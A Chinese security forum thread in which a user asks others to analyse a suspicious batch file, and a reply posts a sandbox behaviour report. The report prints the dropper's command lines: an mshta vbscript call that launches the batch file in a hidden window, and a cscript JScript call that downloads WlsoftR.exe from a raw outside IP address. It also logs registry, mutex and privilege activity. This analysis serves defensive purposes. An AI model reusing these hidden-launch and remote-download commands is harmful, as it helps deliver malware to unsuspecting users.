解密一个bat文件,并说明这个bat是干什么的

常飞

这个bat是别人发我的，由于我对别人发的这种文件戒备心很重，所以就用虚拟机运行了一下。
我发现这个bat一闪而过，什么都没有了。初步判断有可能是恶搞或者病毒之类的，由于虚拟机没装杀毒，所以不知道是什么病毒。

求分析下这个bat文件，到底是做什么的。
分析的越深入越好。
bat.zip (795 Bytes, 下载次数: 4)

2017-8-14 15:12 上传

点击文件名下载附件

快乐的大胖子

文件名称：       
bat.bat
MD5：        990f5e372ab3e94997c9677ee21e159f
文件类型：        Windows Script
上传时间：        2017-08-14 17:48:00
出品公司：        N/A
版本：        N/A
壳或编译器信息：        N/A
关键行为
行为描述：        设置特殊文件夹属性
详情信息：       
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5
C:\Documents and Settings\Administrator\Local Settings\History
C:\Documents and Settings\Administrator\Local Settings\History\History.IE5
C:\Documents and Settings\Administrator\Cookies
进程行为
行为描述：        隐藏窗口创建进程
详情信息：       
ImagePath = , CmdLine = "C:\Documents and Settings\Administrator\Local Settings\%temp%\%temp%\****.bat" h
行为描述：        创建进程
详情信息：       
[0x000009c0]ImagePath = C:\WINDOWS\system32\mshta.exe, CmdLine = mshta vbscript:createobject("wscript.shell").run("""%temp%\****.bat"" h",0)(window.close)
[0x00000a48]ImagePath = C:\WINDOWS\system32\cmd.exe, CmdLine = cmd /c ""C:\Documents and Settings\Administrator\Local Settings\%temp%\%temp%\****.bat" h"
[0x00000a60]ImagePath = C:\WINDOWS\system32\cscript.exe, CmdLine = cscript -nologo -e:jscript "C:\Documents and Settings\Administrator\Local Settings\%temp%\%temp%\****.bat" "http://23.224.147.67:8080/WlsoftR.exe" "D:\WlsoftR.exe"
行为描述：        创建本地线程
详情信息：       
TargetProcess: mshta.exe, InheritedFromPID = 2468, ProcessID = 2496, ThreadID = 2516, StartAddress = 77DC845A, Parameter = 00000000
TargetProcess: mshta.exe, InheritedFromPID = 2468, ProcessID = 2496, ThreadID = 2612, StartAddress = 6359727B, Parameter = 0029E930
TargetProcess: mshta.exe, InheritedFromPID = 2468, ProcessID = 2496, ThreadID = 2628, StartAddress = 765E964D, Parameter = 00EE7AC0
TargetProcess: cscript.exe, InheritedFromPID = 2632, ProcessID = 2656, ThreadID = 2672, StartAddress = 01002A66, Parameter = 008E3FB0
TargetProcess: cscript.exe, InheritedFromPID = 2632, ProcessID = 2656, ThreadID = 2692, StartAddress = 77DC845A, Parameter = 00000000
TargetProcess: cscript.exe, InheritedFromPID = 2632, ProcessID = 2656, ThreadID = 2696, StartAddress = 765E964D, Parameter = 001BDD70
文件行为
行为描述：        创建文件
详情信息：       
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\C1OS62RY\error[1]
行为描述：        覆盖已有文件
详情信息：       
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\C1OS62RY\error[1]
行为描述：        设置特殊文件夹属性
详情信息：       
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5
C:\Documents and Settings\Administrator\Local Settings\History
C:\Documents and Settings\Administrator\Local Settings\History\History.IE5
C:\Documents and Settings\Administrator\Cookies
行为描述：        修改文件内容
详情信息：       
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\C1OS62RY\error[1] ---> Offset = 0
行为描述：        查找文件
详情信息：       
FileName = C:\Documents and Settings
FileName = C:\Documents and Settings\Administrator
FileName = C:\Documents and Settings\Administrator\Local Settings
FileName = C:\Documents and Settings\Administrator\Local Settings\Temp
FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%
FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%\%temp%\****.bat
FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%\mshta.*
FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%\mshta
FileName = C:\Python27\mshta.*
FileName = C:\Python27\mshta
FileName = C:\Python27\Scripts\mshta.*
FileName = C:\Python27\Scripts\mshta
FileName = C:\WINDOWS\system32\mshta.*
FileName = C:\WINDOWS\system32\mshta.COM
FileName = C:\WINDOWS\system32\mshta.EXE
注册表行为
行为描述：        修改注册表
详情信息：       
\REGISTRY\USER\S-*\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\Documents and Settings\Administrator\Local Settings\%temp%\%temp%\****.bat
其他行为
行为描述：        创建互斥体
详情信息：       
Local\!PrivacIE!SharedMemory!Mutex
CTF.LBES.MutexDefaultS-*
CTF.Compart.MutexDefaultS-*
CTF.Asm.MutexDefaultS-*
CTF.Layouts.MutexDefaultS-*
CTF.TMD.MutexDefaultS-*
CTF.TimListCache.FMPDefaultS-*MUTEX.DefaultS-*
Local\ZonesCounterMutex
Local\ZoneAttributeCacheCounterMutex
Local\ZonesCacheCounterMutex
Local\ZonesLockedCacheCounterMutex
行为描述：        创建事件对象
详情信息：       
EventName = Global\crypt32LogoffEvent
行为描述：        查找指定窗口
详情信息：       
NtUserFindWindowEx: [Class,Window] = [MS_AutodialMonitor,]
NtUserFindWindowEx: [Class,Window] = [MS_WebCheckMonitor,]
NtUserFindWindowEx: [Class,Window] = [Shell_TrayWnd,]
行为描述：        窗口信息
详情信息：       
Pid = 2468, Hwnd=0x1033c, Text = C:\Windows\System32\cmd.exe, ClassName = ConsoleWindowClass.
行为描述：        调整进程token权限
详情信息：       
SE_LOAD_DRIVER_PRIVILEGE
行为描述：        打开事件
详情信息：       
\SECURITY\LSA_AUTHENTICATION_INITIALIZED
MSFT.VSA.COM.DISABLE.2496
MSFT.VSA.IEC.STATUS.6c736db0
Global\crypt32LogoffEvent
_fCanRegisterWithShellService
MSFT.VSA.COM.DISABLE.2656
行为描述：        打开互斥体
详情信息：       
ShimCacheMutex
Local\!IETld!Mutex
CtfmonInstMutexDefaultS-*
Local\_!MSFTHISTORY!_
Local\c:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Local\c:!documents and settings!administrator!cookies!
Local\c:!documents and settings!administrator!local settings!history!history.ie5!
Local\WininetStartupMutex
Local\WininetConnectionMutex
Local\WininetProxyRegistryMutex
进程树
cmd.exe (PID: 0x000009a4)
mshta.exe (PID: 0x000009c0)
cmd.exe cmd /c "****.bat" h" (PID: 0x00000a48)
cscript.exe (PID: 0x00000a60)

常飞

凯l倪 发表于 2017-8-14 17:58
文件名称：       
bat.bat
MD5：        990f5e372ab3e94997c9677ee21e159f

是病毒吗，这样没看出是不是病毒。我也上传哈勃分析过